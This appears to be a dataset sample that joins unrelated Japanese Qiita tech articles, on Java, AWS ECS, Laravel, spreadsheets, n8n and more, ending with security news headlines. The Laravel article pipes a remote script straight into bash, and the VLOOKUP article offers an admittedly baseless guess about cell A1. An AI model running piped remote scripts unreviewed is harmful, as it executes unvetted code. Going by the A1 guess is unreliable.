OmniAICreator/Qiita-1.07M huggingface dataset:
Apache POI でフィルターを設定したい

Apache POI でフィルターを設定したい場合、`Sheet.setAutoFilter` を利用します。

**例. 2行目すべてにフィルターを設定する**

```java
Sheet sheet = ...;
sheet.setAutoFilter(CellRangeAddress.valueOf("2:2"));
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/96aa3ee1-ec9a-cb78-39a0-a28944cb2e0a.png)

**例. C4からG4セルにフィルターを設定する**

```java
Sheet sheet = ...;
sheet.setAutoFilter(CellRangeAddress.valueOf("C4:G4"));
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/105859/a19ba30f-c79e-9441-f0ea-52dd4c3b6613.png)

**環境情報**

```pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.poi/poi -->
<dependency>
    <groupId>org.apache.poi</groupId>
    <artifactId>poi</artifactId>
    <version>5.3.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.poi/poi-ooxml -->
<dependency>
    <groupId>org.apache.poi</groupId>
    <artifactId>poi-ooxml</artifactId>
    <version>5.3.0</version>
</dependency>
```
ECS のデフォルトロギング動作の変更についてまとめてみた（2025年6月末）


私の担当システムでECSを利用していますが、2025年6月末にECSのデフォルトロギング動作が変化されるというメールを受け取りました。

今回は、その変化点についてまとめてみました。

---

## 超簡潔に

**【内容】**  
デフォルト設定の変更：従来の "blocking" モードから "non-blocking" モードに切り替わる

**【目的】**  
ログの停止によるECSアプリケーションのダウンタイムを減らすことで、可用性向上  
※"non-blocking" モードでは、ログバッファがいっぱいになるとログがドロップされるが、アプリケーションは継続動作

---

## なぜこの変更が行われるのか

AWSとしては、何らかの理由（設定ミスやネットワーク接続の問題など）でロギングが失敗する場合にも、アプリケーションは実行され続けるべきだと考えているようです。そのため、**"non-blocking" モード**を推奨しています。

---

## "blocking" モードを維持したい場合の対応

以下の2つの方法があります。

- アカウント設定の `defaultLogDriverMode` を `"blocking"` に設定
- タスク定義の `LogConfiguration.mode` を `"blocking"` に明示的に設定

※6月の変更前でも、"non-blocking" モードは使用可能です。

一応、AWSに確認したところ、**"non-blocking" と "blocking" の仕様自体に変更はない**とのことです。

---

## まとめと注意点

アプリの可用性を重視するのは確かに重要ですが、一方で「アプリが正しく動作しているかどうかがログから確認できること」も非常に大切です。  
また、ログの一部を参照してタスクの挙動を判断している仕組みがある場合、ログ欠損によって逆に可用性を下げてしまうリスクもあります。

**変化点を踏まえつつ、適切なモードの選択を検討しましょう。**

---

## 参考資料

[1] [Amazon ECS アカウント設定](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html)  
[2] [非ブロッキングモードによるログ損失防止の解説](https://aws.amazon.com/blogs/containers/preventing-log-loss-with-non-blocking-mode-in-the-awslogs-container-log-driver/)  
[3] [LogConfiguration APIリファレンス](https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_LogConfiguration.html)

---
簡単メモ:toggleClass()でのつまづき

# はじめに
ボタンをクリックするたびに、表示要素を交互に表示と非表示を繰り返すjQueryのtoggleClass()メソッドがありましたので、使ってみようと試みました。しかし、うまく動作しませんでした。
この原因究明に施行錯誤したことを簡単に、メモしてみました。

# toggleClass()メソッドのサンプル1
このサンプルは、うまく動作しなかったときのスクリプトです。最初は、自動検索ボタンが表示から非表示になりますが、以後は、テストボタンをクリックしても非表示のままです。リロードすると、再び、確認できます。

<p class="codepen" data-height="300" data-default-tab="result" data-slug-hash="emNzEPj" data-pen-title="toggleClass" data-user="okpzwnyh-the-vuer" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/okpzwnyh-the-vuer/pen/emNzEPj">
  toggleClass</a> by tecoyan (<a href="https://codepen.io/okpzwnyh-the-vuer">@okpzwnyh-the-vuer</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://public.codepenassets.com/embed/index.js"></script>

# toggleClass()メソッドのサンプル2

こちらのサンプルはうまく、動作したときのサンプルです。きちんと、自動検索ボタンがトグルして表示を交互に繰り返しています。

<p class="codepen" data-height="300" data-default-tab="result" data-slug-hash="xbGOLYm" data-pen-title="aaa" data-user="okpzwnyh-the-vuer" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/okpzwnyh-the-vuer/pen/xbGOLYm">
  aaa</a> by tecoyan (<a href="https://codepen.io/okpzwnyh-the-vuer">@okpzwnyh-the-vuer</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://public.codepenassets.com/embed/index.js"></script>

# 原因の調査結果
これらのスクリプトは、試行錯誤を繰り返していた時のコードです。そのため、コードの切り貼りをくりかえしていました。よくよく、調べてみると、やはり、その時の残骸のコードが残っていたのが原因でした。
$("#auto_search_btn").css("display","none");というコードがありました。それが残骸のコードです。
このコードを外して実行してみると、うまく動作しました。

# あとがき
toggleClass()メソッドは便利なメソッドですが、中途半端な理解で利用すると、無駄な時間を浪費してしまいます。今は、いろいろなケースで利用して、ノウハウを蓄積中です。
テーブル作成の改善策

## はじめに
今回はテーブル作成時にフィードバックいただいた内容及び、
個人的に注意したポイントについてまとめます。

### 背景
現場によって方針は違うかもしれませんが、
テーブル作成時の注意点を備忘録として残したいと考えました。


### この記事で得られること
テーブル設計における基本的な注意点

## 注意事項① 命名規則

### スネークケース・キャメルケースの統一
PostgreSQLに関しては、自動的に小文字変換されるため、
小文字スネークケースが一般的だと思います。

:::note info
例：snake_case
:::

### テーブル名およびカラム名の命名
基本的なことかもしれませんが、
一目でわかるようなテーブル名やカラム名を付けることは、
他の方が見たときに理解がようになるなどのメリットが多いため、
曖昧な省略形や日本語と英語が混在させないようにします。

:::note info
例：kaisha_codeではなくcompany_codeにするなど
:::


## 注意事項② 型
特に最初は、
CHAR（固定長文字列）とVARCHAR（可変長文字列）のどちらを使うべきか迷う方もいると思います。

### CHAR型
特徴として指定した長さの領域が常に確保されます。
実際の文字列が短くても残りはスペースで埋められます。

:::note info
例：CHAR(6)
「あいうえお 」（最後に半角スペース）
「あいうえおか」（スペースなし）
:::
郵便番号のような、
そのためデータの長さが常に一定の場合に使用されます。

### VARCHAR型
格納する文字列の実際の長さによって領域が確保されます。
CHAR型と違いスペースで埋めることは行われません。

:::note info
例：VARCHAR(6)
「あいうえお」
「あいうえおか」
※特にスペース埋めは行わない
:::
メールアドレス、住所、氏名などデータの長さが変動する場合に使用します。


### どちらを選択するか
データ長が常に決まっており、厳密に管理される必要がある場合は、
CHAR型を検討してもよいかもしれませんが、基本的にはVARCHAR型の使用メリットが多いようです。


https://lets.postgresql.jp/documents/technical/text-processing/1


## 最後に
テーブル作成は作成後の考慮が求められるため、
想定されるデータについての確認や、
レビューから設計の見直しを行うことが重要です。

より良いテーブル設計ができるように学習していきたいと思います。

最後まで見ていただきありがとうございました。

## 参考
この記事は下記サイトを参考にしております。

https://lets.postgresql.jp/documents/technical/text-processing/1
【2025年最新版】超簡単！Laravelのローカル開発環境を構築する方法

# はじめに
Laravelを触ってみたい方向けに、ローカル環境の構築手順をまとめました。

今回は、Laravelアプリケーションの開発環境を手軽に構築できるLaravel Sailを使用します。

Laravel SailはDockerを利用するため、以下の条件を満たしている必要があります。

- Dockerがインストールされていること
- macOS、Linux、WSL 2（Windows）などのUnix系ターミナル環境が使用できること

**まだこれらの準備ができていない方は、以下の記事を参考にして、Docker DesktopとWSLのセットアップを行ってください。**

https://qiita.com/0xv80/items/597300827b212cab4328

# Laravelプロジェクトを作成
今回は、Windows PowerShellを使用して、WSL 2上のUbuntu環境で作業します。

まず、Laravelの開発環境を素早くセットアップするための `curl -s "https://laravel.build/プロジェクト名" | bash` コマンドを実行します。

<strong>「プロジェクト名」</strong>の部分には、作りたいLaravelプロジェクトの名前を指定してください。

今回は「MyApp」にします。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/8be491cf-7edf-4975-93a3-5181f9ff7692.png)

しばらくするとパスワードの入力を求められるので、Ubuntuシステム内のユーザーアカウントのパスワードを入力してください。

:::note warn
このとき、パスワードを入力しても、画面に表示されないので、入力ミスをしないように気をつけてください。
:::

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/341d9d41-a24a-433e-afc2-63db72dfc919.png)

処理が完了したら、`ls` コマンドでプロジェクトが正しく作成されているか確認しましょう。

指定したプロジェクト名のディレクトリが作成されていれば問題ありません。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/d04c95bb-ed3e-4f57-acc4-9d3df1e7a1f6.png)

# 環境設定ファイルを編集
次に、Laravelの環境設定ファイル `.env` を編集します。

まず、`cd プロジェクト名` コマンドで作成したプロジェクトのディレクトリに移動しましょう。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/acc97b86-dd19-47ac-af8d-4d55a2e15b71.png)

続いて、`vi .env` コマンドでファイルを開きます。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/3ef35951-5ff9-408b-8210-442ee691d02c.png)

`.env` ファイルが開いたら、キーボードの `i` を押して編集モードに切り替えてください。

画面の左下に「-- INSERT --」と表示されていれば、編集モードに入っています。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/52064660-de5a-4287-a947-a976fe265e17.png)

編集モードに入ったら、以下の内容を追加してください。

- 任意の行に `APP_PORT=8573` を追加
- `SESSION_DRIVER=database` を `SESSION_DRIVER=file` に変更

編集が完了したら、キーボードの `esc` を押し、`:x` コマンドでファイルを保存して終了します。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/1f8430e1-94ea-454a-9250-bc38b518f0e6.png)

# Docker環境を起動
いよいよ、Laravelアプリケーションの開発環境をDockerで起動します。

`./vendor/bin/sail up -d` コマンドを実行して、コンテナ（アプリの実行環境）をバックグラウンドで立ち上げましょう。

次のような画面が表示されれば、環境の立ち上げは完了です。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/d7574500-68c7-4855-95cf-13c9bff6ac29.png)

それでは、以下のURLにアクセスして、開発環境が立ち上がっているか確認してみましょう。

http://localhost:8573

まだアプリのファイルを編集していないため、Laravelのウェルカムページ（初期画面）が表示されるはずです。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4086966/15ad3b89-777a-40b2-aba2-2fc91f03d19c.png)

この画面が表示されれば、ローカル環境の構築は完了です。

# おわりに
今回は、Laravelのローカル開発環境を構築する手順を紹介しました。

この環境を活用して、ぜひ自分だけのLaravelアプリケーションを作ってみましょう。
Azure Appliation Gatewayの設定変更に気を付ける点

### Azure Appliation Gatewayの設定変更についてちょっと気づきがありました。製品の改善をしてほしいです：

1.AppGWのルール(ルーティング規則)を作成する際、
パスベースの規則に何も設定しないと、該当ルールの種類はBasicになります。
パスベースの規則に何か設定すると、該当ルールの種類はパスベースになります。
また、Basicからパスベースへ変更したい場合、直接ルールの種類を変更する機能は提供されていません。
そのため、該当するルーティングルールを一旦削除し、新たにPath-basedのルールを作成する必要があります。
#### 改善Point：Basicからパスベースの変更機能が欲しい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/620054/fc24033e-357f-45c2-b6dc-56f79117068e.png)


2.リスナーを削除すると同時に関連のルールも削除されてしまいます。
削除する前に以下のような提示がでます。
#### 改善Point：リスナーだけを削除して、ルールはそのまま残ってほしいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/620054/d7fa26d6-26da-403f-a8b9-ad1a53b83147.png)

一方、ルールを削除する際は関連のリスナーは削除されません。「削除」をクリックすると、「削除していいですか」との警告提示も出ないので、本当に削除したいかと気を付けてね。
#### 改善Point：「削除していいですか」ぐらいの提示が欲しいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/620054/8d6e1153-d403-49d7-8d99-993d9d42b820.png)
# VLOOKUPが効かない？スプレッドシートでA1セルにまつわる謎の挙動とその回避策

## はじめに

Googleスプレッドシートで `VLOOKUP` を使っていたところ、どうにも**結果が返ってこない**という問題にぶつかりました。  
関数の構文ミスかと思い何度も見直しましたが、まったくの正常。にもかかわらず**空白が返ってくる**。

あれこれ試した結果、**「A1セルから書き始めているのが原因かも？」**と気づき、A2セルからデータを書き直したところ…**なぜか解消しました。**

---

## 具体的な状況

以下のような形でデータを入力していました：

A1: 1001 B1: トマト
A2: 1002 B2: キュウリ


そして `D1` に以下のような `VLOOKUP` 関数を入力：

=VLOOKUP(1002, A1:B2, 2, FALSE)

しかし、**結果は空白／エラー**。  
念のため同じ関数を `D2` に置いたところ、そちらは**問題なく「キュウリ」と表示されました。**

---

## 試したこと

- セルの書式や入力ミスを再確認 → 問題なし  
- A1セルの履歴を確認 → 特に異常なし  
- 別シートでも再現 → 状況次第で似た症状発生

---

## 対応と気づき

結局、**A2からデータを入れるように変更**したら症状はピタリと止まりました。  
関数も正しく動作し、処理も安定。

> じゃあA1セルってなにか特別な扱いされてる…？

---

## 仮説（あくまで推測）

- **スプレッドシートがA1を見出し的に扱っている？**
- フィルタや補完機能が裏で干渉してる？
- シート作成直後に何か初期設定が適用されてた？

など考えましたが、**はっきりした根拠や仕様の記述も見つかっていません。**

---

## まとめ

- `VLOOKUP` が効かないと思ったら、**A1セルに原因がある可能性**も疑ってみてください。
- 完全な再現性や確定的な原因があるわけではありませんが、**A2以降を使うことで回避できるケースがある**ようです。
- スプレッドシートの挙動には**明文化されていない仕様や条件付きのバグっぽい動作**が存在するのかもしれません。

---

## おわりに

この記事は、「明確な答えはないけど、同じ現象で悩む人がいたら助けになれば」という備忘録です。  
もし似た経験をされた方、詳しい仕様をご存知の方がいれば、ぜひコメントで教えてください。
Chromebook ショートカット

# Chromebook ショートカット
Windowsキー操作,Chromebookでの代替
F1,Search + 1
F2,Search + 2
F3,Search + 3
F4,Search + 4
F5,Search + 5
F6,Search + 6
F7,Search + 7
F8,Search + 8
F9,Search + 9
F10,Search + 0
F11,Search + -
F12,Search + =
Windowsキー,Searchキー
Alt + F4（アプリを閉じる）,Ctrl + Shift + W
タブを閉じる,Crtl + W
Delete,Alt + Backspace
Backspace,Backspace
Caps Lock,Alt + Search
Print Screen（全画面）,Ctrl + ウィンドウ表示キー
部分キャプチャ,Ctrl + Shift + ウィンドウ表示キー
Alt + Tab（アプリ切替）,Alt + Tab
Ctrl + Esc（タスクマネージャ）,Search + Esc
Home,Search + 左矢印
End,Search + 右矢印
Page Up,Search + 上矢印
Page Down,Search + 下矢印
右クリック,Alt + クリック または 2本指タップ
ターミナル（crosh）起動,Ctrl + Alt + T
ファイルアプリ起動,Alt + Shift + M
ウィンドウ左寄せ,Alt + [
ウィンドウ右寄せ,Alt + ]
【書評】Microsoft Power Automate［実践］入門――クラウドフローによる業務自動化の手引きとリファレンス


# はじめに

今回は、以下の書籍を著者のギークフジワラに寄贈いただいたため、書評を書かせていただきます。ギークさん書籍の執筆本当にお疲れ様でした。そして素晴らしい書籍を世に出していただきありがとうございました。

https://www.amazon.co.jp/Microsoft-Power-Automate%EF%BC%BB%E5%AE%9F%E8%B7%B5%EF%BC%BD%E5%85%A5%E9%96%80%E2%80%95%E2%80%95%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E3%83%95%E3%83%AD%E3%83%BC%E3%81%AB%E3%82%88%E3%82%8B%E6%A5%AD%E5%8B%99%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%AE%E6%89%8B%E5%BC%95%E3%81%8D%E3%81%A8%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9-%E3%82%AE%E3%83%BC%E3%82%AF%E3%83%95%E3%82%B8%E3%83%AF%E3%83%A9/dp/4297149338/ref=asc_df_4297149338?mcid=270417267fc93672b8a1fe87e4e04d7a&th=1&psc=1&tag=jpgo-22&linkCode=df0&hvadid=707465300349&hvpos=&hvnetw=g&hvrand=4441646220549149372&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9197664&hvtargid=pla-2420414965563&psc=1&gad_source=1

# 全体の所感

まず、全体の所感としては、初学者にとってとても分かりやすく、Power Automate の入門として非常にお勧めできる書籍です。随所に筆者の Power Platform に対する愛が感じられ、躓きやすいポイント、今後実践していくにあたって大切なポイントについて、とても丁寧に解説されております。

特に、Part2 が非常に充実しており、リファレンスという名前の通り、多くの方に、リファレンスとして何度も参照されることになることを確信しています。

# Part1 基礎編

本書では、「ローコードとは何か」という基本に立ち返って丁寧に解説されております。
また、「どちらが優れているか」という二項対立的な論点に対しても、筆者の考えが明確に示されており、とても納得感があります。

ローコードの利点についても、具体的かつ分かりやすく説明されており、初学者にもスッと入ってくる構成です。一方で、「何でもローコードで進めれば良い」という風潮に対して慎重な視点を持ち、無条件に推進するのではなく冷静に向き合う筆者の誠実さが印象に残ります。

実際の事例やユーザーコミュニティにも触れながら、本書の中心テーマである Power Automate の解説へと進んでいきます。

トリガーとアクションの仕組みは非常に分かりやすく説明されており、「デスクトップフロー」と「クラウドフロー」の使い分けについての判断基準も明快です。
ライセンスに関する説明も、当然ながら（笑）分かりやすく、読者の実務に役立つ内容となっています。

# Part2 リファレンス編

Part 2 は「リファレンス編」として、本格的なフロー作成にあたって押さえておきたいポイントを項目ごとに丁寧に解説しています。まさに「リファレンス」という名にふさわしく非常に充実しており、多くの方が何度も参照することになると確信しています。

冒頭で「フローのドキュメントは必要か？」という問いから始まる構成が印象的で、筆者の考えには強く共感しました。
さらに、命名規則に触れている点もさすがです。初めに命名の考え方を知っておくだけで、自分にとっても、他の利用者や管理者にとっても大きな助けになります。

また、フローの所有者に関する解説も分かりやすく、特に「共同所有者はグループで管理するのがおすすめ」というアドバイスには、メンテナンス性の観点から大いに納得させられます。

Microsoft 365 の代表的なデータソースである SharePoint リストや Excel テーブルに関しても、それぞれの基本操作や使い方が丁寧に解説されています。
さらに、タイムゾーンや制限事項といった観点での比較も非常に実践的で役立ちます。
フィルタークエリや添付ファイルの操作、For each が自動的に挿入される理由の解説など、実務で直面しやすいポイントにもきめ細かく対応されています。

特に多くの人がつまずくであろう「日付とタイムゾーンの扱い」については、丁寧かつ分かりやすい説明がなされており、本当にありがたい内容です。

続く数値計算の章では、SharePoint リストで列を作成する際に「英語で作成し、必要に応じて日本語に変更する」ことの推奨理由も含めて、実用的なアドバイスが詰まっています。

また、変数とデータ型に関する説明も非常に丁寧で、「数値の書式設定」アクションについては、個人的にも知らなかった内容で学びになりました。

最後に、文字列操作についてもよく使う関数とその出力結果を図付きで解説しており、とても分かりやすい構成です。特に、先に変数や配列の扱いを解説したうえで文字列操作に入っている順序が絶妙で、理解が深まりやすくなっています。

# Part3 ハンズオン編

Part3 では、よくある業務シナリオを題材に、実際に手を動かしながら学べるハンズオン形式で解説が進みます。恐らく、Part2 をしっかり学習していれば、スムーズに進められると思います。それほどまでに Part2 の内容が充実しており、ここで扱うシナリオ以外にも十分応用が利くと感じました。

扱われているシナリオも、実務でのニーズが高いものばかりです

* メールが届いたら Teams に通知する

* SharePoint ファイルの作成通知を行う

* メールの添付ファイルをバックアップとして保存する

* メールからタスクを自動作成する

* Microsoft Forms の回答を SharePoint リストに転記する

* 社内通達のステータス管理（承認ワークフロー）

どれも「やってみたい」と思わせるテーマばかりで、すぐに業務に取り入れたくなる内容です。
また、トリガー条件を Copilot を活用して作成する方法が紹介されている点も、今の時代ならではの魅力的なポイントです。
WSL2のUbuntu内のNVIDIA SDK Manager ver2.3でログインできない問題

# はじめに
WSL2上のUbuntuで、NVIDIA SDK Manager（v2.3）にログインできない問題が発生したので共有する。現時点（2025/6/3）では解決方法がわかっていない。v2.2にダウングレードすると問題なくログインできる。また、物理PCのUbuntuでは、v2.3でも問題なくログインできることが確認できた。

# 動作確認環境
* WSL2 (kernel: 5.15.167.4)
  * Windows 11 x64
* Ubuntu 20.04及び22.04
* SDK Manager 2.3.0.12617 x86_64

# 現象

Webブラウザでログイン認証が完了し、SDK Managerが再度立ち上がるが、以下のような画面になりログインに失敗する。エラーメッセージ：`Session expired. Please log in again`が出る。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/638977/4b363d58-0080-4855-9b70-5e10d8d73bb8.png)

# 対策

現時点（2025/6/3）では、バージョンを下げる方法しか見つかっていない。以下のアーカイブページから、[sdkmanager_2.2.0-12028_amd64.deb](https://developer.nvidia.com/downloads/sdkmanager/secure/clients/sdkmanager-2.2.0.12028/sdkmanager_2.2.0-12028_amd64.deb)をインストールする。

https://developer.nvidia.com/nvidia-sdk-manager-archive

現状のSDK Managerをアンインストールする。
```bash
sudo apt remove sdkmanager
```
v2.2をインストールする。
```bash
sudo dpkg -i sdkmanager_2.2.0-12028_amd64.deb
```

# まとめ

WSL2上のUbuntuで、NVIDIA SDK Manager（v2.3）にログインできない問題が発生したので共有した。現時点（2025/6/3）では解決方法がわかっていないので、WSL2上でSDK Managerを利用する場合は、v2.2にダウングレードすることを推奨する。


# 参考

https://developer.nvidia.com/sdk-manager

https://developer.nvidia.com/nvidia-sdk-manager-archive
Pythonを用いた回転行列（１）

# ３Ｄ空間における座標変換例
## (1,1,1)の点をＸ軸まわりに30度回転するPythonプログラム
工学分野において，回転行列はよく用いられる．
Pythonパッケージ NumPy の配列 Arrayモジュールの使い方の例として，
サンプルプログラムを示す．

座標変換が分かりやすいように，元の位置と移動後の位置をアニメーションとして可視化するとともに，
gifファイルとして出力するようにした．

![3d_rotation_animation.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1979979/63f99c52-10cc-40eb-bd68-9468e80ab7a8.gif)

```rot_matrix.py
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.animation import FuncAnimation
import imageio

def rotate_x(point, angle_deg):
    """
    指定された点をx軸周りに回転させる変換行列を適用する関数

    Args:
        point (np.array): 回転させる点の座標 (x, y, z)
        angle_deg (float): 回転角度（度数法）

    Returns:
        np.array: 回転後の点の座標
    """
    angle_rad = np.radians(angle_deg)
    
    # x軸周りの回転行列
    # R_x = [[1, 0, 0],
    #        [0, cos(theta), -sin(theta)],
    #        [0, sin(theta), cos(theta)]]
    rotation_matrix = np.array([
        [1, 0, 0],
        [0, np.cos(angle_rad), -np.sin(angle_rad)],
        [0, np.sin(angle_rad), np.cos(angle_rad)]
    ])
    
    # 点に変換行列を適用
    rotated_point = np.dot(rotation_matrix, point)
    return rotated_point

# 元の点
original_point = np.array([1, 1, 1])

# 回転角度
rotation_angle_deg = 30

# 回転後の点
rotated_point = rotate_x(original_point, rotation_angle_deg)

print(f"元の点: {original_point}")
print(f"X軸周りに{rotation_angle_deg}度回転後の点: {rotated_point}")

## GIFアニメーションの生成

fig = plt.figure(figsize=(8, 8))
ax = fig.add_subplot(111, projection='3d')

# 軸ラベルの設定
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')

# 軸の範囲を設定 (点の移動範囲を考慮して少し広めに)
ax.set_xlim([-1.5, 1.5])
ax.set_ylim([-1.5, 1.5])
ax.set_zlim([-1.5, 1.5])

# プロットの初期化
# 元の点と回転後の点を表示
# ここで凡例に回転後の座標値を含める
ax.plot([original_point[0]], [original_point[1]], [original_point[2]], 'ro', markersize=8, label='Original Point (1,1,1)')
ax.plot(
    [rotated_point[0]], [rotated_point[1]], [rotated_point[2]], 
    'bo', markersize=8, label=f'Rotated Point ({rotation_angle_deg} deg): ({rotated_point[0]:.2f}, {rotated_point[1]:.2f}, {rotated_point[2]:.2f})'
)

# 現在の点をプロットするハンドラ
point_handler, = ax.plot([], [], [], 'go', markersize=10, label='Moving Point')

# 凡例の表示
ax.legend()

# アニメーションのフレーム数 (1秒間で移動、例えば50フレーム)
num_frames = 50
interval_ms = 1000 / num_frames # 1秒 / フレーム数

def update(frame):
    """
    アニメーションの各フレームを更新する関数
    """
    # 線形補間により、元の点から回転後の点へ移動
    # tは0から1まで変化
    t = frame / (num_frames - 1)
    
    current_point = original_point * (1 - t) + rotated_point * t
    
    point_handler.set_data([current_point[0]], [current_point[1]])
    point_handler.set_3d_properties([current_point[2]])
    
    return point_handler,

# アニメーションの作成
ani = FuncAnimation(fig, update, frames=num_frames, blit=True, interval=interval_ms)

# GIFとして保存
gif_filename = "3d_rotation_animation.gif"
ani.save(gif_filename, writer='imageio', fps=num_frames / 1) # fpsは1秒あたりのフレーム数

print(f"アニメーションGIF '{gif_filename}' が生成されました。")

plt.show()
```
n8nを試してみた – 概要から使い方まで


最近「n8n」っていうワークフロー自動化ツールを試してみたので、備忘録としてまとめておきます！  
あくまで“自分で調べてみた＆やってみた”という感じなので、参考程度にどうぞ。

---

## ■ そもそもn8nとは？

- **n8n**は、ノーコード／ローコードで使えるワークフローオートメーションツール。
- ZapierやMakeみたいに、色んなWebサービスをつなげて自動化できる。
- オープンソースで、セルフホスティング（自分でサーバー立てて運用）も可能。  
- 有料プランもあるけど、ローカルや自前サーバーで動かす分には無料でOK。

例えば：  
- 新しいメールが届いたらSlackに通知する  
- TrelloのカードをGmailに送る  
- 定期的にAPIを叩いてデータを取得して処理する …みたいなことができる。

---

## ■ n8nのインストール方法

公式ドキュメントに沿って、Dockerで動かすのが楽。  
（Mac環境で試しましたが、Linuxでもほぼ同じはず）

```bash
docker run -it --rm     -p 5678:5678     -e N8N_BASIC_AUTH_ACTIVE=true     -e N8N_BASIC_AUTH_USER=<ユーザー名>     -e N8N_BASIC_AUTH_PASSWORD=<パスワード>     n8nio/n8n
```

ブラウザで`http://localhost:5678`にアクセスすると、ログイン画面が出てきます。  
初期セットアップもUIで簡単に進められます。

---

## ■ 基本的な使い方

1. **新しいワークフローを作成**  
   n8nのUIに入ったら「New Workflow」を作成。

2. **ノードを追加していく**  
   例えば：  
   - トリガー（Webhook、Cronなど）を追加  
   - その後にAPIコールやメール送信のノードを接続  

3. **各ノードの設定**  
   ノードごとに必要な情報（APIキーとか送信先とか）を設定。  
   各ノードには「テスト実行」機能があるので、1個ずつ動かしながら確認できるのが便利。

4. **保存して有効化（Activate）**  
   動作確認して問題なければ、ワークフローをActivate。  
   これで常に動くようになります。

---

## ■ 実際に試してみた例：Slack通知

実験的に「Webhookをトリガーにして、Slackに通知する」だけの簡単なフローを作ってみました。

1. **Webhookノード**  
   - 新規にWebhookを作成して、好きなURLを発行。  
   - 例えば`https://n8n.example.com/webhook/test`にPOSTするとトリガー。

2. **Slackノード**  
   - SlackのIncoming Webhook URLを設定。  
   - メッセージを送るチャンネルと内容をセット。

3. **接続してテスト**  
   - `curl`などでWebhookにデータを送信。  
   - Slackに通知が飛ぶのを確認。

めちゃくちゃシンプルだけど、これだけでも「おお、自動化してる感！」あって楽しい。

---

## ■ 使ってみての感想・ポイント

- ノーコードで直感的にワークフローを組めるのが良い。  
- Webhook・API周りのテストがしやすくて、開発っぽく進められるのも◎  
- 逆に、細かい条件分岐や大規模ワークフローは最初ちょっと大変かも。  
- セルフホスティングだと、自分で管理する部分（DBのバックアップとか）は忘れずに！

---

## ■ まとめ

- n8nはオープンソースで自由度が高いのが魅力。  
- 「ちょっとした自動化」を試すにはかなり便利。  
- UIもどんどん進化してるっぽいので、今後も注目。

もし「こんな使い方もあるよ！」みたいなのがあれば教えてください🙏  
ではまた！

---

**参考リンク**  
- [公式サイト](https://n8n.io/)  
- [公式ドキュメント](https://docs.n8n.io/)  
- [GitHubリポジトリ](https://github.com/n8n-io/n8n)
【公ド読】レガシ コードの説明

【公式ドキュメントを読もうシリーズ】レガシ コードの説明

## シリーズ概要

[https://qiita.com/yasu_programming/items/cec66f9e8d5d571e9ce3](https://qiita.com/yasu_programming/items/cec66f9e8d5d571e9ce3)

## URL

[https://docs.github.com/ja/copilot/copilot-chat-cookbook/documenting-code/explaining-legacy-code](https://docs.github.com/ja/copilot/copilot-chat-cookbook/documenting-code/explaining-legacy-code)

## 説明

コードを別の言語で説明してくれる。

## 所感

こういうプロンプトをしたことがなかったが、結構いいようにも思えている。
仕事の引継ぎの関係上初めてGoをやっているが、そのコードを経験年数の多いJavascriptでやる方法を聞くことで、理解が深まる、といったケースが確かに多く存在するだろうなと思っている。

いいね。
2025/6/3主にITとかセキュリティの記事

2025年5月15日～2025年5月21日までに報告されたWordPress関連の脆弱性情報(6/1)
https://news.mynavi.jp/techplus/article/wordpressvulnerability-5/

Ubuntu・RHEL・Fedoraに新たなLinux脆弱性、コアダンプ経由でパスワードハッシュ窃取が可能に(6/1)
https://innovatopia.jp/cyber-security/cyber-security-news/56130/

Vibe Coding：Googleコードの25%がAI生成、Prime SecurityのCEOが警告する開発革命とセキュリティリスク(6/1)
https://innovatopia.jp/ai/ai-news/56132/

「攻撃者を逆ハッキング」BitMEXが北朝鮮ハッカー集団の秘密データベースに侵入成功 – Lazarus Groupの運用実態を暴露(6/1)
https://innovatopia.jp/cyber-security/cyber-security-news/56157/

「Inspectorを利用した脆弱性管理について」というタイトルで登壇しました(5/31)
https://dev.classmethod.jp/articles/inspector-devio2024-cm_odyssey/

危険な“野良アプリ”から「Android」「iOS」スマホを守る方法(6/1)
https://news.yahoo.co.jp/articles/2fb00ebba962504e1c458554bf884f8af886f8e1

私たちが直接触れる場所を監視するセキュリティ対策「EDR」ってなに？(6/1)
https://ascii.jp/elem/000/004/278/4278709/?rss

米国 FBI サイバー犯罪者にハッキングツールを販売するウェブサイトを押収 (2025.05.29)(6/1)
http://maruyama-mitsuhiko.cocolog-nifty.com/security/2025/05/post-ce7566.html

米国、ドイツ、フランス、英国他西側国　ロシアGRUが西側の物流事業体やテクノロジー企業を狙っていると警告 (2025.05.21)(6/1)
